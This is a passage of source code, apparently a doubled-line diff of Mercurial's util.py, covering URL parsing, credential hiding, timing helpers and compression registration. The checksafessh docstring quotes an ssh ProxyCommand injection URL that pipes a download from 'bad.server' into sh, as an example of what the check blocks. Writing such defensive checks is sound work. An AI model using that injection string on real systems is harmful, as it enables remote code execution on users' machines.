2745 <url scheme: 'file', path: 'C:\\users\\me'>
2749 <url scheme: 'file', path: 'C:\\users\\me'>
2746
2750
2747 Authentication credentials:
2751 Authentication credentials:
2748
2752
2749 >>> url(b'ssh://joe:xyz@x/repo')
2753 >>> url(b'ssh://joe:xyz@x/repo')
2750 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2754 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2751 >>> url(b'ssh://joe@x/repo')
2755 >>> url(b'ssh://joe@x/repo')
2752 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2756 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2753
2757
2754 Query strings and fragments:
2758 Query strings and fragments:
2755
2759
2756 >>> url(b'http://host/a?b#c')
2760 >>> url(b'http://host/a?b#c')
2757 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2761 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2758 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2762 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2759 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2763 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2760
2764
2761 Empty path:
2765 Empty path:
2762
2766
2763 >>> url(b'')
2767 >>> url(b'')
2764 <url path: ''>
2768 <url path: ''>
2765 >>> url(b'#a')
2769 >>> url(b'#a')
2766 <url path: '', fragment: 'a'>
2770 <url path: '', fragment: 'a'>
2767 >>> url(b'http://host/')
2771 >>> url(b'http://host/')
2768 <url scheme: 'http', host: 'host', path: ''>
2772 <url scheme: 'http', host: 'host', path: ''>
2769 >>> url(b'http://host/#a')
2773 >>> url(b'http://host/#a')
2770 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2774 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2771
2775
2772 Only scheme:
2776 Only scheme:
2773
2777
2774 >>> url(b'http:')
2778 >>> url(b'http:')
2775 <url scheme: 'http'>
2779 <url scheme: 'http'>
2776 """
2780 """
2777
2781
2778 _safechars = "!~*'()+"
2782 _safechars = "!~*'()+"
2779 _safepchars = "/!~*'()+:\\"
2783 _safepchars = "/!~*'()+:\\"
2780 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2784 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2781
2785
2782 def __init__(self, path, parsequery=True, parsefragment=True):
2786 def __init__(self, path, parsequery=True, parsefragment=True):
2783 # We slowly chomp away at path until we have only the path left
2787 # We slowly chomp away at path until we have only the path left
2784 self.scheme = self.user = self.passwd = self.host = None
2788 self.scheme = self.user = self.passwd = self.host = None
2785 self.port = self.path = self.query = self.fragment = None
2789 self.port = self.path = self.query = self.fragment = None
2786 self._localpath = True
2790 self._localpath = True
2787 self._hostport = ''
2791 self._hostport = ''
2788 self._origpath = path
2792 self._origpath = path
2789
2793
2790 if parsefragment and '#' in path:
2794 if parsefragment and '#' in path:
2791 path, self.fragment = path.split('#', 1)
2795 path, self.fragment = path.split('#', 1)
2792
2796
2793 # special case for Windows drive letters and UNC paths
2797 # special case for Windows drive letters and UNC paths
2794 if hasdriveletter(path) or path.startswith('\\\\'):
2798 if hasdriveletter(path) or path.startswith('\\\\'):
2795 self.path = path
2799 self.path = path
2796 return
2800 return
2797
2801
2798 # For compatibility reasons, we can't handle bundle paths as
2802 # For compatibility reasons, we can't handle bundle paths as
2799 # normal URLS
2803 # normal URLS
2800 if path.startswith('bundle:'):
2804 if path.startswith('bundle:'):
2801 self.scheme = 'bundle'
2805 self.scheme = 'bundle'
2802 path = path[7:]
2806 path = path[7:]
2803 if path.startswith('//'):
2807 if path.startswith('//'):
2804 path = path[2:]
2808 path = path[2:]
2805 self.path = path
2809 self.path = path
2806 return
2810 return
2807
2811
2808 if self._matchscheme(path):
2812 if self._matchscheme(path):
2809 parts = path.split(':', 1)
2813 parts = path.split(':', 1)
2810 if parts[0]:
2814 if parts[0]:
2811 self.scheme, path = parts
2815 self.scheme, path = parts
2812 self._localpath = False
2816 self._localpath = False
2813
2817
2814 if not path:
2818 if not path:
2815 path = None
2819 path = None
2816 if self._localpath:
2820 if self._localpath:
2817 self.path = ''
2821 self.path = ''
2818 return
2822 return
2819 else:
2823 else:
2820 if self._localpath:
2824 if self._localpath:
2821 self.path = path
2825 self.path = path
2822 return
2826 return
2823
2827
2824 if parsequery and '?' in path:
2828 if parsequery and '?' in path:
2825 path, self.query = path.split('?', 1)
2829 path, self.query = path.split('?', 1)
2826 if not path:
2830 if not path:
2827 path = None
2831 path = None
2828 if not self.query:
2832 if not self.query:
2829 self.query = None
2833 self.query = None
2830
2834
2831 # // is required to specify a host/authority
2835 # // is required to specify a host/authority
2832 if path and path.startswith('//'):
2836 if path and path.startswith('//'):
2833 parts = path[2:].split('/', 1)
2837 parts = path[2:].split('/', 1)
2834 if len(parts) > 1:
2838 if len(parts) > 1:
2835 self.host, path = parts
2839 self.host, path = parts
2836 else:
2840 else:
2837 self.host = parts[0]
2841 self.host = parts[0]
2838 path = None
2842 path = None
2839 if not self.host:
2843 if not self.host:
2840 self.host = None
2844 self.host = None
2841 # path of file:///d is /d
2845 # path of file:///d is /d
2842 # path of file:///d:/ is d:/, not /d:/
2846 # path of file:///d:/ is d:/, not /d:/
2843 if path and not hasdriveletter(path):
2847 if path and not hasdriveletter(path):
2844 path = '/' + path
2848 path = '/' + path
2845
2849
2846 if self.host and '@' in self.host:
2850 if self.host and '@' in self.host:
2847 self.user, self.host = self.host.rsplit('@', 1)
2851 self.user, self.host = self.host.rsplit('@', 1)
2848 if ':' in self.user:
2852 if ':' in self.user:
2849 self.user, self.passwd = self.user.split(':', 1)
2853 self.user, self.passwd = self.user.split(':', 1)
2850 if not self.host:
2854 if not self.host:
2851 self.host = None
2855 self.host = None
2852
2856
2853 # Don't split on colons in IPv6 addresses without ports
2857 # Don't split on colons in IPv6 addresses without ports
2854 if (self.host and ':' in self.host and
2858 if (self.host and ':' in self.host and
2855 not (self.host.startswith('[') and self.host.endswith(']'))):
2859 not (self.host.startswith('[') and self.host.endswith(']'))):
2856 self._hostport = self.host
2860 self._hostport = self.host
2857 self.host, self.port = self.host.rsplit(':', 1)
2861 self.host, self.port = self.host.rsplit(':', 1)
2858 if not self.host:
2862 if not self.host:
2859 self.host = None
2863 self.host = None
2860
2864
2861 if (self.host and self.scheme == 'file' and
2865 if (self.host and self.scheme == 'file' and
2862 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2866 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2863 raise Abort(_('file:// URLs can only refer to localhost'))
2867 raise Abort(_('file:// URLs can only refer to localhost'))
2864
2868
2865 self.path = path
2869 self.path = path
2866
2870
2867 # leave the query string escaped
2871 # leave the query string escaped
2868 for a in ('user', 'passwd', 'host', 'port',
2872 for a in ('user', 'passwd', 'host', 'port',
2869 'path', 'fragment'):
2873 'path', 'fragment'):
2870 v = getattr(self, a)
2874 v = getattr(self, a)
2871 if v is not None:
2875 if v is not None:
2872 setattr(self, a, urlreq.unquote(v))
2876 setattr(self, a, urlreq.unquote(v))
2873
2877
2874 @encoding.strmethod
2878 @encoding.strmethod
2875 def __repr__(self):
2879 def __repr__(self):
2876 attrs = []
2880 attrs = []
2877 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2881 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2878 'query', 'fragment'):
2882 'query', 'fragment'):
2879 v = getattr(self, a)
2883 v = getattr(self, a)
2880 if v is not None:
2884 if v is not None:
2881 attrs.append('%s: %r' % (a, v))
2885 attrs.append('%s: %r' % (a, v))
2882 return '<url %s>' % ', '.join(attrs)
2886 return '<url %s>' % ', '.join(attrs)
2883
2887
2884 def __bytes__(self):
2888 def __bytes__(self):
2885 r"""Join the URL's components back into a URL string.
2889 r"""Join the URL's components back into a URL string.
2886
2890
2887 Examples:
2891 Examples:
2888
2892
2889 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2893 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2890 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2894 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2891 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2895 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2892 'http://user:pw@host:80/?foo=bar&baz=42'
2896 'http://user:pw@host:80/?foo=bar&baz=42'
2893 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2897 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2894 'http://user:pw@host:80/?foo=bar%3dbaz'
2898 'http://user:pw@host:80/?foo=bar%3dbaz'
2895 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2899 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2896 'ssh://user:pw@[::1]:2200//home/joe#'
2900 'ssh://user:pw@[::1]:2200//home/joe#'
2897 >>> bytes(url(b'http://localhost:80//'))
2901 >>> bytes(url(b'http://localhost:80//'))
2898 'http://localhost:80//'
2902 'http://localhost:80//'
2899 >>> bytes(url(b'http://localhost:80/'))
2903 >>> bytes(url(b'http://localhost:80/'))
2900 'http://localhost:80/'
2904 'http://localhost:80/'
2901 >>> bytes(url(b'http://localhost:80'))
2905 >>> bytes(url(b'http://localhost:80'))
2902 'http://localhost:80/'
2906 'http://localhost:80/'
2903 >>> bytes(url(b'bundle:foo'))
2907 >>> bytes(url(b'bundle:foo'))
2904 'bundle:foo'
2908 'bundle:foo'
2905 >>> bytes(url(b'bundle://../foo'))
2909 >>> bytes(url(b'bundle://../foo'))
2906 'bundle:../foo'
2910 'bundle:../foo'
2907 >>> bytes(url(b'path'))
2911 >>> bytes(url(b'path'))
2908 'path'
2912 'path'
2909 >>> bytes(url(b'file:///tmp/foo/bar'))
2913 >>> bytes(url(b'file:///tmp/foo/bar'))
2910 'file:///tmp/foo/bar'
2914 'file:///tmp/foo/bar'
2911 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2915 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2912 'file:///c:/tmp/foo/bar'
2916 'file:///c:/tmp/foo/bar'
2913 >>> print(url(br'bundle:foo\bar'))
2917 >>> print(url(br'bundle:foo\bar'))
2914 bundle:foo\bar
2918 bundle:foo\bar
2915 >>> print(url(br'file:///D:\data\hg'))
2919 >>> print(url(br'file:///D:\data\hg'))
2916 file:///D:\data\hg
2920 file:///D:\data\hg
2917 """
2921 """
2918 if self._localpath:
2922 if self._localpath:
2919 s = self.path
2923 s = self.path
2920 if self.scheme == 'bundle':
2924 if self.scheme == 'bundle':
2921 s = 'bundle:' + s
2925 s = 'bundle:' + s
2922 if self.fragment:
2926 if self.fragment:
2923 s += '#' + self.fragment
2927 s += '#' + self.fragment
2924 return s
2928 return s
2925
2929
2926 s = self.scheme + ':'
2930 s = self.scheme + ':'
2927 if self.user or self.passwd or self.host:
2931 if self.user or self.passwd or self.host:
2928 s += '//'
2932 s += '//'
2929 elif self.scheme and (not self.path or self.path.startswith('/')
2933 elif self.scheme and (not self.path or self.path.startswith('/')
2930 or hasdriveletter(self.path)):
2934 or hasdriveletter(self.path)):
2931 s += '//'
2935 s += '//'
2932 if hasdriveletter(self.path):
2936 if hasdriveletter(self.path):
2933 s += '/'
2937 s += '/'
2934 if self.user:
2938 if self.user:
2935 s += urlreq.quote(self.user, safe=self._safechars)
2939 s += urlreq.quote(self.user, safe=self._safechars)
2936 if self.passwd:
2940 if self.passwd:
2937 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2941 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2938 if self.user or self.passwd:
2942 if self.user or self.passwd:
2939 s += '@'
2943 s += '@'
2940 if self.host:
2944 if self.host:
2941 if not (self.host.startswith('[') and self.host.endswith(']')):
2945 if not (self.host.startswith('[') and self.host.endswith(']')):
2942 s += urlreq.quote(self.host)
2946 s += urlreq.quote(self.host)
2943 else:
2947 else:
2944 s += self.host
2948 s += self.host
2945 if self.port:
2949 if self.port:
2946 s += ':' + urlreq.quote(self.port)
2950 s += ':' + urlreq.quote(self.port)
2947 if self.host:
2951 if self.host:
2948 s += '/'
2952 s += '/'
2949 if self.path:
2953 if self.path:
2950 # TODO: similar to the query string, we should not unescape the
2954 # TODO: similar to the query string, we should not unescape the
2951 # path when we store it, the path might contain '%2f' = '/',
2955 # path when we store it, the path might contain '%2f' = '/',
2952 # which we should *not* escape.
2956 # which we should *not* escape.
2953 s += urlreq.quote(self.path, safe=self._safepchars)
2957 s += urlreq.quote(self.path, safe=self._safepchars)
2954 if self.query:
2958 if self.query:
2955 # we store the query in escaped form.
2959 # we store the query in escaped form.
2956 s += '?' + self.query
2960 s += '?' + self.query
2957 if self.fragment is not None:
2961 if self.fragment is not None:
2958 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2962 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2959 return s
2963 return s
2960
2964
2961 __str__ = encoding.strmethod(__bytes__)
2965 __str__ = encoding.strmethod(__bytes__)
2962
2966
2963 def authinfo(self):
2967 def authinfo(self):
2964 user, passwd = self.user, self.passwd
2968 user, passwd = self.user, self.passwd
2965 try:
2969 try:
2966 self.user, self.passwd = None, None
2970 self.user, self.passwd = None, None
2967 s = bytes(self)
2971 s = bytes(self)
2968 finally:
2972 finally:
2969 self.user, self.passwd = user, passwd
2973 self.user, self.passwd = user, passwd
2970 if not self.user:
2974 if not self.user:
2971 return (s, None)
2975 return (s, None)
2972 # authinfo[1] is passed to urllib2 password manager, and its
2976 # authinfo[1] is passed to urllib2 password manager, and its
2973 # URIs must not contain credentials. The host is passed in the
2977 # URIs must not contain credentials. The host is passed in the
2974 # URIs list because Python < 2.4.3 uses only that to search for
2978 # URIs list because Python < 2.4.3 uses only that to search for
2975 # a password.
2979 # a password.
2976 return (s, (None, (s, self.host),
2980 return (s, (None, (s, self.host),
2977 self.user, self.passwd or ''))
2981 self.user, self.passwd or ''))
2978
2982
2979 def isabs(self):
2983 def isabs(self):
2980 if self.scheme and self.scheme != 'file':
2984 if self.scheme and self.scheme != 'file':
2981 return True # remote URL
2985 return True # remote URL
2982 if hasdriveletter(self.path):
2986 if hasdriveletter(self.path):
2983 return True # absolute for our purposes - can't be joined()
2987 return True # absolute for our purposes - can't be joined()
2984 if self.path.startswith(br'\\'):
2988 if self.path.startswith(br'\\'):
2985 return True # Windows UNC path
2989 return True # Windows UNC path
2986 if self.path.startswith('/'):
2990 if self.path.startswith('/'):
2987 return True # POSIX-style
2991 return True # POSIX-style
2988 return False
2992 return False
2989
2993
2990 def localpath(self):
2994 def localpath(self):
2991 if self.scheme == 'file' or self.scheme == 'bundle':
2995 if self.scheme == 'file' or self.scheme == 'bundle':
2992 path = self.path or '/'
2996 path = self.path or '/'
2993 # For Windows, we need to promote hosts containing drive
2997 # For Windows, we need to promote hosts containing drive
2994 # letters to paths with drive letters.
2998 # letters to paths with drive letters.
2995 if hasdriveletter(self._hostport):
2999 if hasdriveletter(self._hostport):
2996 path = self._hostport + '/' + self.path
3000 path = self._hostport + '/' + self.path
2997 elif (self.host is not None and self.path
3001 elif (self.host is not None and self.path
2998 and not hasdriveletter(path)):
3002 and not hasdriveletter(path)):
2999 path = '/' + path
3003 path = '/' + path
3000 return path
3004 return path
3001 return self._origpath
3005 return self._origpath
3002
3006
3003 def islocal(self):
3007 def islocal(self):
3004 '''whether localpath will return something that posixfile can open'''
3008 '''whether localpath will return something that posixfile can open'''
3005 return (not self.scheme or self.scheme == 'file'
3009 return (not self.scheme or self.scheme == 'file'
3006 or self.scheme == 'bundle')
3010 or self.scheme == 'bundle')
3007
3011
3008 def hasscheme(path):
3012 def hasscheme(path):
3009 return bool(url(path).scheme)
3013 return bool(url(path).scheme)
3010
3014
3011 def hasdriveletter(path):
3015 def hasdriveletter(path):
3012 return path and path[1:2] == ':' and path[0:1].isalpha()
3016 return path and path[1:2] == ':' and path[0:1].isalpha()
3013
3017
3014 def urllocalpath(path):
3018 def urllocalpath(path):
3015 return url(path, parsequery=False, parsefragment=False).localpath()
3019 return url(path, parsequery=False, parsefragment=False).localpath()
3016
3020
3017 def checksafessh(path):
3021 def checksafessh(path):
3018 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3022 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3019
3023
3020 This is a sanity check for ssh urls. ssh will parse the first item as
3024 This is a sanity check for ssh urls. ssh will parse the first item as
3021 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3025 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3022 Let's prevent these potentially exploited urls entirely and warn the
3026 Let's prevent these potentially exploited urls entirely and warn the
3023 user.
3027 user.
3024
3028
3025 Raises an error.Abort when the url is unsafe.
3029 Raises an error.Abort when the url is unsafe.
3026 """
3030 """
3027 path = urlreq.unquote(path)
3031 path = urlreq.unquote(path)
3028 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3032 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3029 raise error.Abort(_('potentially unsafe url: %r') %
3033 raise error.Abort(_('potentially unsafe url: %r') %
3030 (path,))
3034 (path,))
3031
3035
3032 def hidepassword(u):
3036 def hidepassword(u):
3033 '''hide user credential in a url string'''
3037 '''hide user credential in a url string'''
3034 u = url(u)
3038 u = url(u)
3035 if u.passwd:
3039 if u.passwd:
3036 u.passwd = '***'
3040 u.passwd = '***'
3037 return bytes(u)
3041 return bytes(u)
3038
3042
3039 def removeauth(u):
3043 def removeauth(u):
3040 '''remove all authentication information from a url string'''
3044 '''remove all authentication information from a url string'''
3041 u = url(u)
3045 u = url(u)
3042 u.user = u.passwd = None
3046 u.user = u.passwd = None
3043 return str(u)
3047 return str(u)
3044
3048
3045 timecount = unitcountfn(
3049 timecount = unitcountfn(
3046 (1, 1e3, _('%.0f s')),
3050 (1, 1e3, _('%.0f s')),
3047 (100, 1, _('%.1f s')),
3051 (100, 1, _('%.1f s')),
3048 (10, 1, _('%.2f s')),
3052 (10, 1, _('%.2f s')),
3049 (1, 1, _('%.3f s')),
3053 (1, 1, _('%.3f s')),
3050 (100, 0.001, _('%.1f ms')),
3054 (100, 0.001, _('%.1f ms')),
3051 (10, 0.001, _('%.2f ms')),
3055 (10, 0.001, _('%.2f ms')),
3052 (1, 0.001, _('%.3f ms')),
3056 (1, 0.001, _('%.3f ms')),
3053 (100, 0.000001, _('%.1f us')),
3057 (100, 0.000001, _('%.1f us')),
3054 (10, 0.000001, _('%.2f us')),
3058 (10, 0.000001, _('%.2f us')),
3055 (1, 0.000001, _('%.3f us')),
3059 (1, 0.000001, _('%.3f us')),
3056 (100, 0.000000001, _('%.1f ns')),
3060 (100, 0.000000001, _('%.1f ns')),
3057 (10, 0.000000001, _('%.2f ns')),
3061 (10, 0.000000001, _('%.2f ns')),
3058 (1, 0.000000001, _('%.3f ns')),
3062 (1, 0.000000001, _('%.3f ns')),
3059 )
3063 )
3060
3064
3061 _timenesting = [0]
3065 _timenesting = [0]
3062
3066
3063 def timed(func):
3067 def timed(func):
3064 '''Report the execution time of a function call to stderr.
3068 '''Report the execution time of a function call to stderr.
3065
3069
3066 During development, use as a decorator when you need to measure
3070 During development, use as a decorator when you need to measure
3067 the cost of a function, e.g. as follows:
3071 the cost of a function, e.g. as follows:
3068
3072
3069 @util.timed
3073 @util.timed
3070 def foo(a, b, c):
3074 def foo(a, b, c):
3071 pass
3075 pass
3072 '''
3076 '''
3073
3077
3074 def wrapper(*args, **kwargs):
3078 def wrapper(*args, **kwargs):
3075 start = timer()
3079 start = timer()
3076 indent = 2
3080 indent = 2
3077 _timenesting[0] += indent
3081 _timenesting[0] += indent
3078 try:
3082 try:
3079 return func(*args, **kwargs)
3083 return func(*args, **kwargs)
3080 finally:
3084 finally:
3081 elapsed = timer() - start
3085 elapsed = timer() - start
3082 _timenesting[0] -= indent
3086 _timenesting[0] -= indent
3083 stderr.write('%s%s: %s\n' %
3087 stderr.write('%s%s: %s\n' %
3084 (' ' * _timenesting[0], func.__name__,
3088 (' ' * _timenesting[0], func.__name__,
3085 timecount(elapsed)))
3089 timecount(elapsed)))
3086 return wrapper
3090 return wrapper
3087
3091
3088 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3092 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3089 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3093 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3090
3094
3091 def sizetoint(s):
3095 def sizetoint(s):
3092 '''Convert a space specifier to a byte count.
3096 '''Convert a space specifier to a byte count.
3093
3097
3094 >>> sizetoint(b'30')
3098 >>> sizetoint(b'30')
3095 30
3099 30
3096 >>> sizetoint(b'2.2kb')
3100 >>> sizetoint(b'2.2kb')
3097 2252
3101 2252
3098 >>> sizetoint(b'6M')
3102 >>> sizetoint(b'6M')
3099 6291456
3103 6291456
3100 '''
3104 '''
3101 t = s.strip().lower()
3105 t = s.strip().lower()
3102 try:
3106 try:
3103 for k, u in _sizeunits:
3107 for k, u in _sizeunits:
3104 if t.endswith(k):
3108 if t.endswith(k):
3105 return int(float(t[:-len(k)]) * u)
3109 return int(float(t[:-len(k)]) * u)
3106 return int(t)
3110 return int(t)
3107 except ValueError:
3111 except ValueError:
3108 raise error.ParseError(_("couldn't parse size: %s") % s)
3112 raise error.ParseError(_("couldn't parse size: %s") % s)
3109
3113
3110 class hooks(object):
3114 class hooks(object):
3111 '''A collection of hook functions that can be used to extend a
3115 '''A collection of hook functions that can be used to extend a
3112 function's behavior. Hooks are called in lexicographic order,
3116 function's behavior. Hooks are called in lexicographic order,
3113 based on the names of their sources.'''
3117 based on the names of their sources.'''
3114
3118
3115 def __init__(self):
3119 def __init__(self):
3116 self._hooks = []
3120 self._hooks = []
3117
3121
3118 def add(self, source, hook):
3122 def add(self, source, hook):
3119 self._hooks.append((source, hook))
3123 self._hooks.append((source, hook))
3120
3124
3121 def __call__(self, *args):
3125 def __call__(self, *args):
3122 self._hooks.sort(key=lambda x: x[0])
3126 self._hooks.sort(key=lambda x: x[0])
3123 results = []
3127 results = []
3124 for source, hook in self._hooks:
3128 for source, hook in self._hooks:
3125 results.append(hook(*args))
3129 results.append(hook(*args))
3126 return results
3130 return results
3127
3131
3128 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3132 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3129 '''Yields lines for a nicely formatted stacktrace.
3133 '''Yields lines for a nicely formatted stacktrace.
3130 Skips the 'skip' last entries, then return the last 'depth' entries.
3134 Skips the 'skip' last entries, then return the last 'depth' entries.
3131 Each file+linenumber is formatted according to fileline.
3135 Each file+linenumber is formatted according to fileline.
3132 Each line is formatted according to line.
3136 Each line is formatted according to line.
3133 If line is None, it yields:
3137 If line is None, it yields:
3134 length of longest filepath+line number,
3138 length of longest filepath+line number,
3135 filepath+linenumber,
3139 filepath+linenumber,
3136 function
3140 function
3137
3141
3138 Not be used in production code but very convenient while developing.
3142 Not be used in production code but very convenient while developing.
3139 '''
3143 '''
3140 entries = [(fileline % (fn, ln), func)
3144 entries = [(fileline % (fn, ln), func)
3141 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3145 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3142 ][-depth:]
3146 ][-depth:]
3143 if entries:
3147 if entries:
3144 fnmax = max(len(entry[0]) for entry in entries)
3148 fnmax = max(len(entry[0]) for entry in entries)
3145 for fnln, func in entries:
3149 for fnln, func in entries:
3146 if line is None:
3150 if line is None:
3147 yield (fnmax, fnln, func)
3151 yield (fnmax, fnln, func)
3148 else:
3152 else:
3149 yield line % (fnmax, fnln, func)
3153 yield line % (fnmax, fnln, func)
3150
3154
3151 def debugstacktrace(msg='stacktrace', skip=0,
3155 def debugstacktrace(msg='stacktrace', skip=0,
3152 f=stderr, otherf=stdout, depth=0):
3156 f=stderr, otherf=stdout, depth=0):
3153 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3157 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3154 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3158 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3155 By default it will flush stdout first.
3159 By default it will flush stdout first.
3156 It can be used everywhere and intentionally does not require an ui object.
3160 It can be used everywhere and intentionally does not require an ui object.
3157 Not be used in production code but very convenient while developing.
3161 Not be used in production code but very convenient while developing.
3158 '''
3162 '''
3159 if otherf:
3163 if otherf:
3160 otherf.flush()
3164 otherf.flush()
3161 f.write('%s at:\n' % msg.rstrip())
3165 f.write('%s at:\n' % msg.rstrip())
3162 for line in getstackframes(skip + 1, depth=depth):
3166 for line in getstackframes(skip + 1, depth=depth):
3163 f.write(line)
3167 f.write(line)
3164 f.flush()
3168 f.flush()
3165
3169
3166 class dirs(object):
3170 class dirs(object):
3167 '''a multiset of directory names from a dirstate or manifest'''
3171 '''a multiset of directory names from a dirstate or manifest'''
3168
3172
3169 def __init__(self, map, skip=None):
3173 def __init__(self, map, skip=None):
3170 self._dirs = {}
3174 self._dirs = {}
3171 addpath = self.addpath
3175 addpath = self.addpath
3172 if safehasattr(map, 'iteritems') and skip is not None:
3176 if safehasattr(map, 'iteritems') and skip is not None:
3173 for f, s in map.iteritems():
3177 for f, s in map.iteritems():
3174 if s[0] != skip:
3178 if s[0] != skip:
3175 addpath(f)
3179 addpath(f)
3176 else:
3180 else:
3177 for f in map:
3181 for f in map:
3178 addpath(f)
3182 addpath(f)
3179
3183
3180 def addpath(self, path):
3184 def addpath(self, path):
3181 dirs = self._dirs
3185 dirs = self._dirs
3182 for base in finddirs(path):
3186 for base in finddirs(path):
3183 if base in dirs:
3187 if base in dirs:
3184 dirs[base] += 1
3188 dirs[base] += 1
3185 return
3189 return
3186 dirs[base] = 1
3190 dirs[base] = 1
3187
3191
3188 def delpath(self, path):
3192 def delpath(self, path):
3189 dirs = self._dirs
3193 dirs = self._dirs
3190 for base in finddirs(path):
3194 for base in finddirs(path):
3191 if dirs[base] > 1:
3195 if dirs[base] > 1:
3192 dirs[base] -= 1
3196 dirs[base] -= 1
3193 return
3197 return
3194 del dirs[base]
3198 del dirs[base]
3195
3199
3196 def __iter__(self):
3200 def __iter__(self):
3197 return iter(self._dirs)
3201 return iter(self._dirs)
3198
3202
3199 def __contains__(self, d):
3203 def __contains__(self, d):
3200 return d in self._dirs
3204 return d in self._dirs
3201
3205
3202 if safehasattr(parsers, 'dirs'):
3206 if safehasattr(parsers, 'dirs'):
3203 dirs = parsers.dirs
3207 dirs = parsers.dirs
3204
3208
3205 def finddirs(path):
3209 def finddirs(path):
3206 pos = path.rfind('/')
3210 pos = path.rfind('/')
3207 while pos != -1:
3211 while pos != -1:
3208 yield path[:pos]
3212 yield path[:pos]
3209 pos = path.rfind('/', 0, pos)
3213 pos = path.rfind('/', 0, pos)
3210
3214
3211 # compression code
3215 # compression code
3212
3216
3213 SERVERROLE = 'server'
3217 SERVERROLE = 'server'
3214 CLIENTROLE = 'client'
3218 CLIENTROLE = 'client'
3215
3219
3216 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3220 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3217 (u'name', u'serverpriority',
3221 (u'name', u'serverpriority',
3218 u'clientpriority'))
3222 u'clientpriority'))
3219
3223
3220 class compressormanager(object):
3224 class compressormanager(object):
3221 """Holds registrations of various compression engines.
3225 """Holds registrations of various compression engines.
3222
3226
3223 This class essentially abstracts the differences between compression
3227 This class essentially abstracts the differences between compression
3224 engines to allow new compression formats to be added easily, possibly from
3228 engines to allow new compression formats to be added easily, possibly from
3225 extensions.
3229 extensions.
3226
3230
3227 Compressors are registered against the global instance by calling its
3231 Compressors are registered against the global instance by calling its
3228 ``register()`` method.
3232 ``register()`` method.
3229 """
3233 """
3230 def __init__(self):
3234 def __init__(self):
3231 self._engines = {}
3235 self._engines = {}
3232 # Bundle spec human name to engine name.
3236 # Bundle spec human name to engine name.
3233 self._bundlenames = {}
3237 self._bundlenames = {}
3234 # Internal bundle identifier to engine name.
3238 # Internal bundle identifier to engine name.
3235 self._bundletypes = {}
3239 self._bundletypes = {}
3236 # Revlog header to engine name.
3240 # Revlog header to engine name.
3237 self._revlogheaders = {}
3241 self._revlogheaders = {}
3238 # Wire proto identifier to engine name.
3242 # Wire proto identifier to engine name.
3239 self._wiretypes = {}
3243 self._wiretypes = {}
3240
3244
3241 def __getitem__(self, key):
3245 def __getitem__(self, key):
3242 return self._engines[key]
3246 return self._engines[key]
3243
3247
3244 def __contains__(self, key):
3248 def __contains__(self, key):
3245 return key in self._engines
3249 return key in self._engines
3246
3250
3247 def __iter__(self):
3251 def __iter__(self):
3248 return iter(self._engines.keys())
3252 return iter(self._engines.keys())
3249
3253
3250 def register(self, engine):
3254 def register(self, engine):
3251 """Register a compression engine with the manager.
3255 """Register a compression engine with the manager.
3252
3256
3253 The argument must be a ``compressionengine`` instance.
3257 The argument must be a ``compressionengine`` instance.
3254 """
3258 """
3255 if not isinstance(engine, compressionengine):
3259 if not isinstance(engine, compressionengine):
3256 raise ValueError(_('argument must be a compressionengine'))
3260 raise ValueError(_('argument must be a compressionengine'))
3257
3261
3258 name = engine.name()
3262 name = engine.name()
3259
3263
3260 if name in self._engines:
3264 if name in self._engines:
